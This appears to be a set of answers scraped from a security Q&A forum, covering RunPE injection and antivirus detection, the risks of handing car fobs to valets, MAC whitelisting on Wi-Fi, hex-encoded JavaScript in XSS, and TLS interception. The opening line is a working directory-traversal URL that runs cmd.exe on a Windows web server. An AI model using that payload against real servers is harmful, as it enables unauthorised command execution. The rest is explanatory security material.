https://wahh-app.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

Web server backend parsed parameters after ? as command line arguments.


Why can RunPE Injection bypass Antivirus Software?

AV's can, and do, detect in-memory malware with signatures as well as the act of process injection. Try running that same attack against other AVs and you'll get different results. Maybe upload it to Virus Total oy Hybrid Analysis and see what AVs detect it there?

As an aside Avira isn't a good AV, as you've proved, I'd recommend using something else.


Remote Keyless Entry physical access to FOB

You said,

  I am curious of what is the risk of actually handing over ones fob to valets and car washes.

I think you've indirectly answered your own question, because right after that, you said,

  From what I have learned of security, physical access is always a very large risk.

Giving your fob to a valet or car wash attendant is basically giving them unfettered direct physical access to your vehicle - and often, doing this involves them taking your vehicle out of your direct sight for at least a short period of time. Doing so has obvious risks. They have physical access to your vehicle and it's systems. The potential threats range from mild hooliganism (they could do a smoky burnout and wear down your tires) to all kinds of simple to more sophisticated attacks:

Reading important documents you've left in your car. Many people leave insurance and registration documents in their vehicle, which may have your name, address, and other personal information. This information could be used to impersonate you, steal your identity, or track you down later.
Stealing easy to remove low value items (pocket change in your center console, your spare tire) or perhaps more difficult to remove, high value items (swapping some valuable part for a fake or a damaged part from another vehicle).
Planting a tracker or  in your vehicle.
Programming their own fob to work with your vehicle, giving them access to your vehicle in the future.
Planting malicious software in the vehicle's ECU, entertainment system, or other electronic system.
and so on...

Of course, it's debatable how likely any of these are, given that many of them are easy to detect (if your pocket change is gone after the car wash, it's pretty obvious someone took it) or would require planning, resources, and sophistication not likely to be applied to a random valet customer.


How effective is MAC whitelisting on a Wireless Access Point?

MAC Whitelisting as well as Blacklisting are pretty much useless for security. Your strong WPA/2 passphrase however is great (if WPS isn't enabled).

As kub0x said, the Layer 2 info isn't encrypted. MAC addresses are fully visible: If you have a laptop or a wifi card, install or VM a linux distro and fire up the aircrack suite. With Airodump-ng, you can see the MAC addresses of WAPs and the MAC addresses of the clients. MAC spoofing is easy, so an attacker could definitely spoof the unencrypted MAC.

As for free internet, I'd say no. While they would masquerade as a whitelisted MAC address, they still wouldn't be able to decrypt the payload sent to them. Your strong passphrase has already encrypted the useful part of the data. Before they can get free wifi, they have to be able to send properly encrypted data to the WAP which it would decrypt. If it decrypts to gibberish (which it would if improperly encrypted, or not at all encrypted), it won't go anywhere. Further, in order for them to receive data from the router, and further the internet, they would have to decrypt those encrypted packets. Again, they wouldn't go anywhere.

The only chance they have of getting free internet with a MAC whitelist enabled is the same as if you had no whitelist enabled: they have to have your passphrase, or break in another way (WPS and Reaver).

The only thing MAC Black/Whitelisting does is prevent accidental connections to your WAP. Aside from that, I believe the listing does nothing.

Bottom line: you're still safe, but possibly not for the reasons you think.


XSS: What type of text encoding is this?

the \x is indicating that there is going to be an ascii character encoded in hexidecimal.

xCpl \x3d 1

\x3d => '='

You can use a site like this to decode it individually: http://www.dolcevie.com/js/converter.html

Or, for this example, just put this in a js console:

console.log('xCpl \x3d 1 \x2f \x281 - xBeta \x2a xP\x29\x3b\x0avar xDens \x3d xStdDens \x2a xCtl \x2a xCpl \x2f')

and you'll get:

xCpl = 1 / (1 - xBeta * xP);
var xDens = xStdDens * xCtl * xCpl /

It may be used for xss so that it can hide characters that a particularly weak filter wouldn't catch.


Perfoming a MITM to intercept SSL/TLS with valid certificate

Normally, there will be no warning as the certificate is signed by a trusted CA.

Wrong. Since the subject of the certificate ( www.randomname.com) does not match the URL (www.google.com) the validation will fail and the browser complain. It does not matter if this is "only" a redirect, i.e. even for the domain you redirect from you need a proper certificate.